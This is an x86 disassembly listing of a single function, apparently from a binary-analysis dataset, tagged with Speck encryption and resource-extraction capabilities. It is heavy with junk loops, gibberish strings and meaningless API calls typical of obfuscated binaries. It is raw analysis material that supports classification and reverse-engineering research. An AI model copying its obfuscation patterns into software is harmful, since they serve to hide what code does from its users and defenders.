Function at 0x100235ad
Capabilities:
Encrypt data using speck
Extract resource via kernel32 functions

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1005c21a
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
sub esp, 0x4fc
push ebx
push esi
push edi
mov dword [ebp - 0x10], esp
movzx eax, byte [ebp + 0x28]
test eax, eax
je 0x1002597e
mov eax, dword [ebp + 0x2c]
mov dword [ebp - 0x248], eax
mov eax, dword [ebp + 0x18]
mov dword [ebp - 0x354], eax
mov eax, dword [ebp + 0x1c]
mov dword [ebp - 0x300], eax
mov eax, dword [ebp + 0x20]
mov dword [ebp - 0x214], eax
mov dword [ebp - 0x1d0], 0xea3
mov dword [ebp - 0x2c8], str.eqmfghw_ljipumsa_pqmwevsov
cmp dword [ebp - 0x1d0], 0xfda
jle 0x100236d0
and dword [ebp - 0x108], 0
jmp 0x1002363c
mov eax, dword [ebp - 0x108]
inc eax
mov dword [ebp - 0x108], eax
cmp dword [ebp - 0x108], 0x64ff
jge 0x100236d0
and dword [ebp - 0xec], 0
jmp 0x10023662
mov eax, dword [ebp - 0xec]
inc eax
mov dword [ebp - 0xec], eax
cmp dword [ebp - 0xec], 0x38c9
jge 0x100236cb
and dword [ebp - 0x10c], 0
jmp 0x10023684
mov eax, dword [ebp - 0x10c]
inc eax
mov dword [ebp - 0x10c], eax
cmp dword [ebp - 0x10c], 0x6ef3
jge 0x100236c9
mov ecx, dword [ebp - 0xec]
add ecx, dword [ebp - 0x10c]
mov eax, dword [ebp - 0x108]
sar eax, cl
cdq
mov dword [ebp - 0x288], eax
mov dword [ebp - 0x284], edx
push dword [ebp - 0x284]
push dword [ebp - 0x288]
mov ecx, 0x10077178
call fcn.1000b0cd
jmp 0x10023677
jmp 0x10023655
jmp 0x1002362f
mov eax, dword [ebp + 0x24]
mov dword [ebp - 0x304], eax
and dword [ebp - 4], 0
cmp dword [ebp - 0x1d0], 0xb91
jge 0x100236f9
mov edx, dword [ebp - 0x2c8]
mov ecx, 0x10077178
call fcn.1000ca72
jmp 0x10023715
or dword [ebp - 4], 0xffffffff
jmp 0x1002371f
lea eax, [ebp + 0x10]
mov dword [ebp - 0x324], eax
mov eax, dword [ebp + 0x14]
mov dword [ebp - 0x32c], eax
mov eax, dword [ebp - 0x324]
movzx eax, byte [eax]
test eax, eax
je 0x10023b3f
mov eax, dword [ebp - 0x32c]
mov dword [ebp - 0x220], eax
mov eax, dword [ebp - 0x354]
mov dword [ebp - 0x228], eax
mov eax, dword [ebp - 0x300]
mov dword [ebp - 0x2d4], eax
mov eax, dword [ebp - 0x214]
mov dword [ebp - 0x230], eax
mov dword [ebp - 0x1dc], 0x4607
mov dword [ebp - 0x340], str.pgoqavsbp_lhqvplkyr_php_rafm_zvzeechbn_lzrg_slvn_roibou_eysizgity_vxlphbaif_xaol_wkyl_bpihpvlp
cmp dword [ebp - 0x1dc], 0x4943
jle 0x100238d8
push 0
push 0xc90
push 0x748
push 0
push 0x258b
push 0x2606
push 0x462
push 0x806
push 0x17b4
push 0xa80
push 0x1e57
push 0x254e
call dword [sym.imp.GDI32.dll_MaskBlt]
and dword [ebp - 0x120], 0
jmp 0x100237e8
mov eax, dword [ebp - 0x120]
inc eax
mov dword [ebp - 0x120], eax
cmp dword [ebp - 0x120], 0x3a38
jge 0x100238d8
and dword [ebp - 0x98], 0
jmp 0x1002380e
mov eax, dword [ebp - 0x98]
inc eax
mov dword [ebp - 0x98], eax
cmp dword [ebp - 0x98], 0x358a
jge 0x100238d3
and dword [ebp - 0xe8], 0
jmp 0x10023834
mov eax, dword [ebp - 0xe8]
inc eax
mov dword [ebp - 0xe8], eax
cmp dword [ebp - 0xe8], 0x6ca8
jge 0x100238ce
and dword [ebp - 0xa0], 0
jmp 0x1002385a
mov eax, dword [ebp - 0xa0]
inc eax
mov dword [ebp - 0xa0], eax
cmp dword [ebp - 0xa0], 0x23fe
jge 0x100238c9
mov eax, dword [ebp - 0x120]
add eax, dword [ebp - 0x98]
and eax, dword [ebp - 0xe8]
and eax, dword [ebp - 0xa0]
cdq
mov dword [ebp - 0x294], eax
mov dword [ebp - 0x290], edx
push dword [ebp - 0x290]
push dword [ebp - 0x294]
lea ecx, [ebp - 0x50c]
call fcn.10002a51
pop ecx
pop ecx
mov dword [ebp - 0x27c], eax
mov ecx, dword [ebp - 0x27c]
call fcn.1000b0ad
push eax
call fcn.1004498a
pop ecx
lea ecx, [ebp - 0x50c]
call fcn.100013f2
jmp 0x1002384d
jmp 0x10023827
jmp 0x10023801
jmp 0x100237db
mov eax, dword [ebp - 0x220]
mov dword [ebp - 0x1f4], eax
mov dword [ebp - 4], 2
cmp dword [ebp - 0x1dc], 0x432f
jge 0x10023903
push dword [ebp - 0x340]
call fcn.1004498a
pop ecx
jmp 0x1002391f
or dword [ebp - 4], 0xffffffff
jmp 0x10023929
mov eax, dword [ebp - 0x228]
mov dword [ebp - 0x1e4], eax
mov eax, dword [ebp - 0x2d4]
mov dword [ebp - 0x2fc], eax
mov eax, dword [ebp - 0x230]
mov dword [ebp - 0x238], eax
mov eax, dword [ebp - 0x1f4]
movzx eax, byte [eax]
test eax, eax
je 0x1002396c
mov ecx, dword [ebp - 0x1e4]
call fcn.1002708f
movzx eax, al
test eax, eax
jne 0x100239b5
push 0x1156
push 0x776b
push dword [ebp - 0x2fc]
push dword [ebp - 0x238]
push dword [ebp - 0x1e4]
push 1
push 0
call fcn.1002660c
add esp, 0x1c
push dword [ebp - 0x1f4]
push 1
push 0x613b
push 0x134a
push 0x5326
push 1
call fcn.100233d6
add esp, 0x18
mov dword [ebp - 0x148], 0x31eb
mov dword [ebp - 0x240], str.ghrzih_oqzo_fxheyolw
cmp dword [ebp - 0x148], 0x33c2
jle 0x10023af5
and dword [ebp - 0xb0], 0
jmp 0x100239ef
mov eax, dword [ebp - 0xb0]
inc eax
mov dword [ebp - 0xb0], eax
cmp dword [ebp - 0xb0], 0x659b
jge 0x10023ae8
and dword [ebp - 0x11c], 0
jmp 0x10023a15
mov eax, dword [ebp - 0x11c]
inc eax
mov dword [ebp - 0x11c], eax
cmp dword [ebp - 0x11c], 0x68f8
jge 0x10023ae3
and dword [ebp - 0xa8], 0
jmp 0x10023a3b
mov eax, dword [ebp - 0xa8]
inc eax
mov dword [ebp - 0xa8], eax
cmp dword [ebp - 0xa8], 0x7a15
jge 0x10023ade
and dword [ebp - 0xf0], 0
jmp 0x10023a61
mov eax, dword [ebp - 0xf0]
inc eax
mov dword [ebp - 0xf0], eax
cmp dword [ebp - 0xf0], 0x2b11
jge 0x10023ad9
mov eax, dword [ebp - 0x11c]
cdq
idiv dword [ebp - 0xa8]
imul edx, dword [ebp - 0xf0]
mov eax, dword [ebp - 0xb0]
mov ecx, edx
sar eax, cl
cdq
mov dword [ebp - 0x2a0], eax
mov dword [ebp - 0x29c], edx
push dword [ebp - 0x29c]
push dword [ebp - 0x2a0]
lea ecx, [ebp - 0x4f4]
call fcn.10002a51
pop ecx
pop ecx
mov dword [ebp - 0x2e0], eax
mov ecx, dword [ebp - 0x2e0]
call fcn.1000b0ad
push eax
call fcn.1004498a
pop ecx
lea ecx, [ebp - 0x4f4]
call fcn.100013f2
jmp 0x10023a54
jmp 0x10023a2e
jmp 0x10023a08
jmp 0x100239e2
push 1
push 0x76c
call dword [sym.imp.USER32.dll_GetSystemMenu]
mov dword [ebp - 4], 4
cmp dword [ebp - 0x148], 0x3030
jge 0x10023b14
push dword [ebp - 0x240]
call fcn.1004498a
pop ecx
jmp 0x10023b30
or dword [ebp - 4], 0xffffffff
jmp 0x10023b3a
jmp 0x1002597c
mov eax, dword [ebp - 0x304]
mov dword [ebp - 0x1c4], eax
mov eax, dword [ebp - 0x248]
mov dword [ebp - 0x1d4], eax
push 0x6650
push 0x4e36
push 1
push 0x35a4
push 0x20f3
push 1
push 0x1c43
call fcn.10017a42
add esp, 0x1c
mov eax, dword [0x101a5638]
and eax, 1
jne 0x10023bb3
mov eax, dword [0x101a5638]
or eax, 1
mov dword [0x101a5638], eax
mov dword [ebp - 4], 6
mov ecx, 0x101a565c
call fcn.10026fd8
push 0x1005ce9f
call fcn.10044644
pop ecx
or dword [ebp - 4], 0xffffffff
mov dword [ebp - 0x140], 0x5540d7f8
push 1
lea ecx, [ebp - 0x3ac]
call fcn.10001471
mov dword [ebp - 4], 7
mov dword [ebp - 0x2ec], 0x7ea0d018
mov dword [ebp - 0x114], 0
jmp 0x10023bf4
mov eax, dword [ebp - 0x114]
inc eax
mov dword [ebp - 0x114], eax
cmp dword [ebp - 0x114], 1
jge 0x10023c16
push dword [ebp - 0x114]
lea ecx, [ebp - 0x3ac]
call fcn.10001510
mov dword [eax], 0x951ea66e
jmp 0x10023be7
push 1
push 0x42bd
push 0x48c1
push 1
push 0x1b49
push 0x211b
push 1
lea eax, [ebp - 0x140]
push eax
call fcn.10017c61
add esp, 0x20
lea eax, [ebp - 0x3ac]
push eax
lea eax, [ebp - 0x140]
push eax
push 0
push 0x6e33
push 0x6496
push 1
lea eax, [ebp - 0x2ec]
push eax
call fcn.10017a42
add esp, 0x1c
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x3ac]
call fcn.100014f4
push dword [ebp - 0x1c4]
lea ecx, [ebp - 0x388]
call fcn.100013fc
mov dword [ebp - 4], 8
mov dword [ebp - 0x34], 0x2e91a049
mov dword [ebp - 0x150], 0x5a0d
mov dword [ebp - 0x250], str.plp_fwzjkvyyi_ocpurx_kxdbqjpy_zxwitom_wkx_sopipkwso_garegg
cmp dword [ebp - 0x150], 0x5c14
jle 0x10023d3e
push 0x1563
call dword [sym.imp.GDI32.dll_GetStockObject]
and dword [ebp - 0xb8], 0
jmp 0x10023cdd
mov eax, dword [ebp - 0xb8]
inc eax
mov dword [ebp - 0xb8], eax
cmp dword [ebp - 0xb8], 0x4371
jge 0x10023d3e
and dword [ebp - 0xf8], 0
jmp 0x10023cff
mov eax, dword [ebp - 0xf8]
inc eax
mov dword [ebp - 0xf8], eax
cmp dword [ebp - 0xf8], 0x319e
jge 0x10023d3c
mov eax, dword [ebp - 0xb8]
and eax, dword [ebp - 0xf8]
cdq
mov dword [ebp - 0x2ac], eax
mov dword [ebp - 0x2a8], edx
push dword [ebp - 0x2a8]
push dword [ebp - 0x2ac]
mov ecx, 0x10077178
call fcn.1000b0cd
jmp 0x10023cf2
jmp 0x10023cd0
mov dword [ebp - 0x18], 0xfff7
mov byte [ebp - 4], 9
cmp dword [ebp - 0x150], 0x58a9
jge 0x10023d65
mov edx, dword [ebp - 0x250]
mov ecx, 0x10077178
call fcn.1000ca72
jmp 0x10023d81
mov dword [ebp - 4], 8
jmp 0x10023d91
mov dword [ebp - 0x368], 0xffffffff
mov dword [ebp - 0x364], 0xffffffff
mov dword [ebp - 0x360], 0xffffffff
mov dword [ebp - 0x35c], 0xffffffff
mov dword [ebp - 0x34], 0x10
jmp 0x10023dc9
mov eax, dword [ebp - 0x34]
dec eax
mov dword [ebp - 0x34], eax
cmp dword [ebp - 0x34], 5
jge 0x100240f5
mov dword [ebp - 0x28], 5
push 3
lea ecx, [ebp - 0x33c]
call fcn.10001471
mov byte [ebp - 4], 0xb
mov dword [ebp - 0xc0], 0
jmp 0x10023e04
mov eax, dword [ebp - 0xc0]
inc eax
mov dword [ebp - 0xc0], eax
cmp dword [ebp - 0xc0], 3
jge 0x10023e26
push dword [ebp - 0xc0]
lea ecx, [ebp - 0x33c]
call fcn.10001510
mov dword [eax], 0xfffffffb
jmp 0x10023df7
cmp dword [ebp - 0x28], 0
jne 0x10023e3a
or eax, 0xffffffff
jne 0x10023e3a
and dword [ebp - 0x1a8], 0
jmp 0x10023e44
mov dword [ebp - 0x1a8], 1
mov eax, dword [ebp - 0x34]
cmp eax, dword [ebp - 0x1a8]
jl 0x10023ee9
cmp dword [ebp - 0x28], 0x969ac54c
ja 0x10023e68
mov dword [ebp - 0x158], 1
jmp 0x10023e6f
and dword [ebp - 0x158], 0
mov eax, dword [ebp - 0x28]
cmp dword [ebp - 0x158], eax
je 0x10023e8c
cmp dword [ebp - 0x18], 0
je 0x10023e8c
mov dword [ebp - 0x1e8], 1
jmp 0x10023e93
and dword [ebp - 0x1e8], 0
mov eax, dword [ebp - 0x28]
cmp dword [ebp - 0x1e8], eax
jl 0x10023eaa
mov dword [ebp - 0x160], 1
jmp 0x10023eb1
and dword [ebp - 0x160], 0
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x1b0], eax
push 4
pop eax
shl eax, 1
mov ecx, dword [ebp - 0x1b0]
mov dword [ebp + eax - 0x368], ecx
mov eax, dword [ebp - 0x34]
add eax, dword [ebp - 0x160]
cmp dword [ebp - 0x1b0], eax
jne 0x10023ee9
mov dword [ebp - 0x168], 1
jmp 0x10023ef0
and dword [ebp - 0x168], 0
push 0
lea ecx, [ebp - 0x33c]
call fcn.10001510
mov ecx, dword [ebp - 0x168]
cmp ecx, dword [eax]
jl 0x10023f0b
cmp dword [ebp - 0x18], 0
push 0xfffffffffffffff9
pop eax
test eax, eax
je 0x10024037
mov dword [ebp - 0x40], 7
mov dword [ebp - 0x258], 0xffffffff
mov dword [ebp - 0x18], 0xfffffff8
jmp 0x10023f37
mov eax, dword [ebp - 0x18]
inc eax
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 0x36
jg 0x10023fe8
mov dword [ebp - 0x30c], 0xae857b1a
cmp dword [ebp - 0x40], 0
jne 0x10023f68
mov esi, dword [ebp - 0x30c]
push 0
lea ecx, [ebp - 0x33c]
call fcn.10001510
cmp esi, dword [eax]
jge 0x10023f79
or eax, 0xffffffff
je 0x10023f79
mov dword [ebp - 0x1d8], 1
jmp 0x10023f80
and dword [ebp - 0x1d8], 0
push 4
pop eax
shl eax, 0
mov ecx, dword [ebp - 0x1d8]
mov dword [ebp + eax - 0x368], ecx
mov esi, dword [ebp - 0x40]
push 2
lea ecx, [ebp - 0x33c]
call fcn.10001510
cmp esi, dword [eax]
jge 0x10023fb3
mov dword [ebp - 0x170], 1
jmp 0x10023fba
and dword [ebp - 0x170], 0
cmp dword [ebp - 0x170], 4
jg 0x10023fcf
mov dword [ebp - 0x1b8], 1
jmp 0x10023fd6
and dword [ebp - 0x1b8], 0
imul eax, dword [ebp - 0x1b8], 0
mov dword [ebp - 0x258], eax
jmp 0x10023f30
mov dword [ebp - 0x40], 0x1c
jmp 0x10023ff8
mov eax, dword [ebp - 0x40]
dec eax
mov dword [ebp - 0x40], eax
cmp dword [ebp - 0x40], 0x1a
jl 0x10024032
mov byte [ebp - 0x2c], 0
push 0x2865
push 1
push 0x5995
push 0
push 0xc63
push 0x5448
push 0x3fbc
lea eax, [ebp - 0x2c]
push eax
push 0x4f6c
call fcn.10018b9e
add esp, 0x24
jmp 0x10023ff1
jmp 0x100240e1
push 1
lea ecx, [ebp - 0x394]
call fcn.10001471
mov byte [ebp - 4], 0xc
push 0x21e6
push 0x5b2f
lea eax, [ebp - 0x394]
push eax
push 1
lea eax, [ebp - 0x410]
push eax
push 0
push 0x225e
call fcn.10017ea8
add esp, 0x1c
mov dword [ebp - 0x18], 2
jmp 0x10024081
mov eax, dword [ebp - 0x18]
inc eax
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 0x33
jl 0x100240bc
mov dword [ebp - 0x28], 0xfffffff0
jmp 0x10024097
mov eax, dword [ebp - 0x28]
inc eax
mov dword [ebp - 0x28], eax
cmp dword [ebp - 0x28], 0x1d
jl 0x100240ba
push 4
pop esi
shl esi, 1
push 0
lea ecx, [ebp - 0x394]
call fcn.10001510
mov eax, dword [eax]
mov dword [ebp + esi - 0x368], eax
jmp 0x10024090
jmp 0x1002407a
mov byte [ebp - 0x2e], 0
movzx eax, byte [ebp - 0x2e]
test eax, eax
je 0x100240d2
push 0
push 0
call dword [sym.imp.KERNEL32.dll_FindFirstFileW]
mov byte [ebp - 4], 0xb
lea ecx, [ebp - 0x394]
call fcn.100014f4
mov byte [ebp - 4], 8
lea ecx, [ebp - 0x33c]
call fcn.100014f4
jmp 0x10023dc2
lea eax, [ebp - 0x3f8]
push eax
lea ecx, [ebp - 0x388]
call fcn.1000177d
push dword [eax]
lea eax, [ebp - 0x45c]
push eax
lea ecx, [ebp - 0x388]
call fcn.10001791
push dword [eax]
lea eax, [ebp - 0x400]
push eax
lea ecx, [ebp - 0x388]
call fcn.1000177d
push dword [eax]
mov edx, 0x10015545
lea ecx, [ebp - 0x454]
call fcn.10027736
add esp, 0xc
mov dword [ebp - 0x38], 0xa8eac8b
mov dword [ebp - 0x31c], 0xffffffff
mov dword [ebp - 0x1c0], 0xfffffffe
mov dword [ebp - 0x138], 0x21692869
mov dword [ebp - 0x408], 0x5bc9807
mov dword [ebp - 0x188], 5
mov dword [ebp - 0x270], 0xf51b4373
mov dword [ebp - 0x178], 0xdac
mov dword [ebp - 0x2f8], str.uyci_zboqedpcg_frwpaf_zmvpzyvx_pfl_wvfgf_ctgfta_opev_arjdtbhq_hixygrwse_isnttzf
cmp dword [ebp - 0x178], 0xe7e
jle 0x10024284
and dword [ebp - 0xd0], 0
jmp 0x100241c1
mov eax, dword [ebp - 0xd0]
inc eax
mov dword [ebp - 0xd0], eax
cmp dword [ebp - 0xd0], 0x9f8
jge 0x10024284
and dword [ebp - 0x104], 0
jmp 0x100241e7
mov eax, dword [ebp - 0x104]
inc eax
mov dword [ebp - 0x104], eax
cmp dword [ebp - 0x104], 0x7ae4
jge 0x1002427f
and dword [ebp - 0xc8], 0
jmp 0x1002420d
mov eax, dword [ebp - 0xc8]
inc eax
mov dword [ebp - 0xc8], eax
cmp dword [ebp - 0xc8], 0x5f17
jge 0x1002427a
and dword [ebp - 0x100], 0
jmp 0x1002422f
mov eax, dword [ebp - 0x100]
inc eax
mov dword [ebp - 0x100], eax
cmp dword [ebp - 0x100], 0x244b
jge 0x10024278
mov eax, dword [ebp - 0x104]
add eax, dword [ebp - 0xc8]
and eax, dword [ebp - 0x100]
xor eax, dword [ebp - 0xd0]
cdq
mov dword [ebp - 0x2b8], eax
mov dword [ebp - 0x2b4], edx
push dword [ebp - 0x2b4]
push dword [ebp - 0x2b8]
mov ecx, 0x10077178
call fcn.1000b0cd
jmp 0x10024222
jmp 0x10024200
jmp 0x100241da
jmp 0x100241b4
mov dword [ebp - 0x280], 0
mov byte [ebp - 4], 0xd
cmp dword [ebp - 0x178], 0xcf0
jge 0x100242ae
mov edx, dword [ebp - 0x2f8]
mov ecx, 0x10077178
call fcn.1000ca72
jmp 0x100242ca
mov dword [ebp - 4], 8
jmp 0x100242da
mov dword [ebp - 0x38], 0xfffffff9
jmp 0x100242ea
mov eax, dword [ebp - 0x38]
inc eax
mov dword [ebp - 0x38], eax
cmp dword [ebp - 0x38], 0x10
jne 0x10024526
mov dword [ebp - 0x48], 0xffffffff
mov dword [ebp - 0x180], 0xfff9
mov dword [ebp - 0x464], 0
mov dword [ebp - 0x314], 0x209a488d
mov dword [ebp - 0x28c], 0xf14186e1
mov dword [ebp - 0x3e4], 0xba1dd793
push 1
lea ecx, [ebp - 0x3a0]
call fcn.10001471
mov byte [ebp - 4], 0xf
mov dword [ebp - 0x46c], 1
mov dword [ebp - 0x308], 0xc7df
mov dword [ebp - 0x358], 0xeb13e27c
push 1
push 1
push 1
push 0x76e
lea eax, [ebp - 0x3a0]
push eax
push 0x5cb2
lea eax, [ebp - 0x420]
push eax
call fcn.10016504
add esp, 0x1c
cmp dword [ebp - 0x48], 0
jne 0x100243a2
xor eax, eax
inc eax
je 0x10024393
cmp dword [ebp - 0x48], 0
jne 0x100243a2
cmp dword [ebp - 0x38], 0
jne 0x100243a2
and dword [ebp - 0x1ec], 0
jmp 0x100243ac
mov dword [ebp - 0x1ec], 1
mov eax, dword [ebp - 0x48]
cmp eax, dword [ebp - 0x1ec]
jle 0x100243c3
mov dword [ebp - 0x260], 1
jmp 0x100243ca
and dword [ebp - 0x260], 0
mov eax, dword [ebp - 0x48]
mov dword [ebp - 0x460], eax
mov eax, dword [ebp - 0x38]
add eax, 0x6cc9
imul eax, eax, 0x10e1
cmp eax, 0x3191
jl 0x10024491
mov dword [ebp - 0x130], 1
mov dword [ebp - 0x428], 0xfffffffc
mov dword [ebp - 0x430], 0x9d073d4
mov dword [ebp - 0x470], 0x3c17a3f0
mov dword [ebp - 0x444], 0xee879096
mov dword [ebp - 0x3e8], 0xae2ad21d
mov dword [ebp - 0x268], 0xfff7
mov eax, dword [ebp - 0x130]
inc eax
mov dword [ebp - 0x130], eax
lea eax, [ebp - 0x130]
push eax
push 0x1a22
push 1
push 1
push 1
push 0x174d
lea eax, [ebp - 0x48]
push eax
lea eax, [ebp - 0x180]
push eax
lea eax, [ebp - 0x1c0]
push eax
lea eax, [ebp - 0x314]
push eax
lea eax, [ebp - 0x268]
push eax
lea eax, [ebp - 0x31c]
push eax
lea eax, [ebp - 0x138]
push eax
call fcn.1001672d
add esp, 0x34
jmp 0x10024512
mov dword [ebp - 0x328], 4
mov dword [ebp - 0x278], 0
lea eax, [ebp - 0x3a0]
push eax
lea eax, [ebp - 0x138]
push eax
push 0
push 0xaaa
lea eax, [ebp - 0x270]
push eax
lea eax, [ebp - 0x328]
push eax
lea eax, [ebp - 0x278]
push eax
push 0x45c7
push 0x16c1
lea eax, [ebp - 0x308]
push eax
lea eax, [ebp - 0x280]
push eax
lea eax, [ebp - 0x180]
push eax
lea eax, [ebp - 0x1c0]
push eax
lea eax, [ebp - 0x188]
push eax
lea eax, [ebp - 0x358]
push eax
lea eax, [ebp - 0x28c]
push eax
call fcn.100259bc
add esp, 0x40
mov byte [ebp - 4], 8
lea ecx, [ebp - 0x3a0]
call fcn.100014f4
jmp 0x100242e3
lea eax, [ebp - 0x138]
push eax
lea eax, [ebp - 0x188]
push eax
push 1
push 1
push 0x6a7e
push 0x84b
push 0x3417
push 0
push 0x959
call fcn.100267cf
add esp, 0x24
lea ecx, [ebp - 0x388]
call fcn.100154d0
mov dword [ebp - 0x1cc], eax
movzx eax, byte [0x101a41f4]
test eax, eax
je 0x10024954
mov ecx, 0x101a565c
call fcn.1002708f
movzx eax, al
test eax, eax
jne 0x10024954
mov dword [ebp - 0x3ec], 0xffffffff
mov dword [ebp - 0x3f4], 0xfffffffa
mov dword [ebp - 0x3fc], 0x2b57e8b7
mov dword [ebp - 0x404], 0xd2edc755
mov dword [ebp - 0x40c], 7
mov dword [ebp - 0x424], 0x96a162c9
mov dword [ebp - 0x440], 0x3bf38c08
mov dword [ebp - 0x43c], 0x3bf38c08
mov dword [ebp - 0x438], 0x3bf38c08
mov dword [ebp - 0x434], 0x3bf38c08
mov dword [ebp - 0x42c], 0xfbde283b
mov dword [ebp - 0x110], 0
jmp 0x10024612
mov eax, dword [ebp - 0x110]
inc eax
mov dword [ebp - 0x110], eax
cmp dword [ebp - 0x110], 2
jge 0x1002462e
mov eax, dword [ebp - 0x110]
mov dword [ebp + eax*4 - 0x370], 0xadca1a1f
jmp 0x10024605
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x370]
inc eax
push 4
pop ecx
shl ecx, 0
mov dword [ebp + ecx - 0x370], eax
lea eax, [ebp - 0x1cc]
push eax
lea eax, [ebp - 0x144]
push eax
mov ecx, 0x101a565c
call fcn.10027098
push 2
lea ecx, [ebp - 0x34c]
call fcn.10001471
mov byte [ebp - 4], 0x10
mov dword [ebp - 0x1e0], 0x7ade
mov dword [ebp - 0x298], str.qbgbtnxy_eiksjou_zzwz
cmp dword [ebp - 0x1e0], 0x7df3
jle 0x10024748
and dword [ebp - 0xd8], 0
jmp 0x100246ac
mov eax, dword [ebp - 0xd8]
inc eax
mov dword [ebp - 0xd8], eax
cmp dword [ebp - 0xd8], 0x1cfd
jge 0x10024736
and dword [ebp - 0x118], 0
jmp 0x100246ce
mov eax, dword [ebp - 0x118]
inc eax
mov dword [ebp - 0x118], eax
cmp dword [ebp - 0x118], 0x5400
jge 0x10024731
mov eax, dword [ebp - 0xd8]
or eax, dword [ebp - 0x118]
cdq
mov dword [ebp - 0x2c4], eax
mov dword [ebp - 0x2c0], edx
push dword [ebp - 0x2c0]
push dword [ebp - 0x2c4]
lea ecx, [ebp - 0x4dc]
call fcn.10002a51
pop ecx
pop ecx
mov dword [ebp - 0x310], eax
mov ecx, dword [ebp - 0x310]
call fcn.1000b0ad
push eax
call fcn.1004498a
pop ecx
lea ecx, [ebp - 0x4dc]
call fcn.100013f2
jmp 0x100246c1
jmp 0x1002469f
push 0
push 0x1820
push 0x1460
call dword [sym.imp.USER32.dll_GetScrollInfo]
mov dword [ebp - 0x3c], 0xf833fcb5
mov byte [ebp - 4], 0x11
cmp dword [ebp - 0x1e0], 0x79f0
jge 0x1002476b
push dword [ebp - 0x298]
call fcn.1004498a
pop ecx
jmp 0x10024787
mov dword [ebp - 4], 0x10
jmp 0x10024797
mov dword [ebp - 0xe0], 0x9475
mov dword [ebp - 0x1a0], 0x1aa08ecb
lea eax, [ebp - 0x34c]
push eax
push 0
push 0x6fa1
push 0x4fe6
push 0x7175
push 0x7ae7
lea eax, [ebp - 0x448]
push eax
call fcn.10026af9
add esp, 0x1c
push 0x4fbb
push 0xf4f
push 0x7e18
push 0x6a96
push 0x603f
push 0x696a
push 0x160f
push 1
lea eax, [ebp - 0x3c]
push eax
lea eax, [ebp - 0x34c]
push eax
push 0
push 0x3b68
push 0x330e
push 0x737b
push 1
call fcn.10019633
add esp, 0x3c
mov eax, dword [ebp - 0x3c]
mov dword [ebp - 0x450], eax
mov eax, dword [ebp - 0xe0]
mov dword [ebp - 0x474], eax
mov eax, dword [ebp - 0x3c]
cmp eax, dword [ebp - 0x3c]
jne 0x1002484b
mov dword [ebp - 0x190], 1
jmp 0x10024852
and dword [ebp - 0x190], 0
mov eax, dword [ebp - 0xe0]
imul eax, dword [ebp - 0x190]
mov dword [ebp - 0x3c], eax
cmp dword [ebp - 0x3c], 0
jne 0x10024883
push 1
lea ecx, [ebp - 0x34c]
call fcn.10001510
cmp dword [eax], 0
jne 0x10024883
and dword [ebp - 0x1c8], 0
jmp 0x1002488d
mov dword [ebp - 0x1c8], 1
mov esi, dword [ebp - 0xe0]
imul esi, dword [ebp - 0x1c8]
push 1
lea ecx, [ebp - 0x34c]
call fcn.10001510
cmp esi, dword [eax]
je 0x100248b7
mov dword [ebp - 0x198], 1
jmp 0x100248be
and dword [ebp - 0x198], 0
mov eax, dword [ebp - 0xe0]
cmp dword [ebp - 0x198], eax
jge 0x100248d8
mov dword [ebp - 0x1f0], 1
jmp 0x100248df
and dword [ebp - 0x1f0], 0
mov eax, dword [ebp - 0x1a0]
imul eax, dword [ebp - 0x1f0]
xor ecx, ecx
inc ecx
sub ecx, eax
mov dword [ebp - 0x1a0], ecx
mov byte [ebp - 4], 8
lea ecx, [ebp - 0x34c]
call fcn.100014f4
lea eax, [ebp - 0x468]
push eax
mov ecx, 0x101a565c
call fcn.100017f9
push eax
lea ecx, [ebp - 0x144]
call fcn.10026efb
movzx eax, al
test eax, eax
je 0x10024954
lea ecx, [ebp - 0x144]
call fcn.100270ad
mov ecx, dword [ebp - 0x1d4]
mov eax, dword [eax + 4]
mov dword [ecx], eax
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x388]
call fcn.1000145c
jmp 0x100259ab
push 4
lea ecx, [ebp - 0x210]
call fcn.10001471
mov byte [ebp - 4], 0x13
mov dword [ebp - 0x14c], 0x774f
mov dword [ebp - 0x330], str.ianz_ioiiwnrii_vrx_cel_yvtfnwxq_alwgi_mvopg_ngezfd_qdalxme_djbp_nss_yock
cmp dword [ebp - 0x14c], 0x7847
jle 0x10024a0a
and dword [ebp - 0x90], 0
jmp 0x1002499f
mov eax, dword [ebp - 0x90]
inc eax
mov dword [ebp - 0x90], eax
cmp dword [ebp - 0x90], 0x2bbd
jge 0x10024a02
and dword [ebp - 0x94], 0
jmp 0x100249c1
mov eax, dword [ebp - 0x94]
inc eax
mov dword [ebp - 0x94], eax
cmp dword [ebp - 0x94], 0x97a
jge 0x10024a00
mov eax, dword [ebp - 0x90]
mov ecx, dword [ebp - 0x94]
shl eax, cl
cdq
mov dword [ebp - 0x2d0], eax
mov dword [ebp - 0x2cc], edx
push dword [ebp - 0x2cc]
push dword [ebp - 0x2d0]
mov ecx, 0x10077178
call fcn.1000b0cd
jmp 0x100249b4
jmp 0x10024992
push 0
call dword [sym.imp.KERNEL32.dll_LockResource]
push 1
lea ecx, [ebp - 0x12c]
call fcn.10001471
mov byte [ebp - 4], 0x14
mov byte [ebp - 4], 0x15
cmp dword [ebp - 0x14c], 0x742f
jge 0x10024a3b
mov edx, dword [ebp - 0x330]
mov ecx, 0x10077178
call fcn.1000ca72
jmp 0x10024a57
mov dword [ebp - 4], 0x14
jmp 0x10024a67
lea eax, [ebp - 0x210]
push eax
push 0x71e6
push 0x62e9
push 0xd14
lea eax, [ebp - 0x2a4]
push eax
push 0x6e1c
push 0x2246
push 1
push 1
call fcn.100169e4
add esp, 0x24
lea eax, [ebp - 0x2a4]
push eax
lea eax, [ebp - 0x12c]
push eax
push 1
push 0x4278
push 0x246
push 0
call fcn.100172eb
add esp, 0x18
push 0
lea ecx, [ebp - 0x12c]
call fcn.10001510
and dword [eax], 0
jmp 0x10024af4
push 0
lea ecx, [ebp - 0x12c]
call fcn.10001510
mov dword [ebp - 0x154], eax
mov eax, dword [ebp - 0x154]
mov eax, dword [eax]
inc eax
mov ecx, dword [ebp - 0x154]
mov dword [ecx], eax
push 0
lea ecx, [ebp - 0x12c]
call fcn.10001510
cmp dword [eax], 3
jg 0x10024e64
mov dword [ebp - 0x24], 0x17f75960
mov dword [ebp - 0x2bc], 1
